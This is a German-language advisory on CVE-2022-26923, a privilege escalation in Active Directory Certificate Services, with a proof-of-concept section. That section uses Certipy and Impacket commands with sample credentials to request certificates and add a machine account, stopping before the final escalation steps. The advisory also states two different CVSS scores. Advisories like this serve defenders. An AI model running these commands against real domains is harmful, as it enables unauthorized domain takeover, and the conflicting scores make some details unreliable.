CVE-2022-26923 AD-Zertifikatdienste

• Veröffentlichungsdatum : 10/05/2022
• Angriffskomplexität: Niedrig
• Erforderliche Privilegien: Niedrig
• CVSS-Score : 8.1

Die Schwachstelle ermöglichte es einem Benutzer mit geringen Berechtigungen, in einer Standard-Active-Directory-Umgebung mit installierter Serverrolle Active Directory Certificate Services (AD CS) die Berechtigungen auf Domänenadministrator auszuweiten.

Ein Exploit wurde von Oliver Lyak (ly4k_) in Python entwickelt und wurde vor und nicht nach dem Advisory veröffentlicht. Er wird als Proof-of-Concept eingestuft. Der Exploit ist unter research.ifcr.dk zum Download verfügbar.

Quelle :

• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
• https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
• https://vuldb.com/fr/?id.199368

Beschreibung

Die neu entdeckte Schwachstelle zur Erweiterung von Active-Directory-Domänenprivilegien wurde in freier Wildbahn noch nicht ausgenutzt, dennoch weist ihr hoher CVSS-Score von 8,8 auf ein hohes Risiko für kompromittierte Systeme hin, das es Angreifern ermöglicht, die Zertifikatsvergabe zu missbrauchen. CVE-2022–26923 erlaubt es, das DnsHostName-Attribut zu manipulieren, das den Computernamen angibt, wie er in DNS registriert ist, und ermöglicht es einem Angreifer anschließend, ein Zertifikat von den AD-Zertifikatdiensten zu erhalten, was möglicherweise zur Privilegienausweitung führt.

POC

    - Benutzername: user_test
    - Passwort: Password123#
    - Domäne: my.domain.com
    
    Zur Reproduktion müssen Sie: 
    - Impacket und Certipy auf der Angreifermaschine installiert haben.
      - https://github.com/SecureAuthCorp/impacket
      - https://github.com/ly4k/Certipy
    - Einen Benutzer mit geringen Privilegien kompromittiert haben. 
    - Ein System ist nur verwundbar, wenn Active Directory Certificate Services in der Domäne ausgeführt wird.

1. Beginnen wir mit der Generierung eines Zertifikats für unseren AD-Benutzer mit geringen Berechtigungen (Benutzername=user_test Passwort=Password123#) unter Verwendung der Zertifikatsvorlage User :

   root@kitploit:~

   certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
   

2. Überprüfen wir, ob das Zertifikat gültig ist und über Certipy für die Kerberos-Authentifizierung verwendet werden kann :

   root@kitploit:~

   certipy auth -pfx user_test.pfx
   

3. Hinzufügen eines virtuellen Computers zur Domäne mit Impacket

   root@kitploit:~

   addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
   
   # my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
   # method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
   # computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
   # computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
   

4. Generieren wir ein Zertifikat für den neu erstellten Computer. Um das Computerkonto dieses Computers zu verwenden, müssen Sie am Ende des Namens ein "$" hinzufügen:

   root@kitploit:~

   certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
   

Minderungsmaßnahmen und Behebungen

Zur Abschwächung und zu Schutzmaßnahmen bezüglich CVE-2022–26923 empfiehlt Microsoft dringend, alle Server, auf denen AD-Zertifikatdienste ausgeführt werden, sowie Windows-Domänencontroller, die eine zertifikatsbasierte Authentifizierung betreiben, auf die neueste Version vom 10. Mai zu aktualisieren.

• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923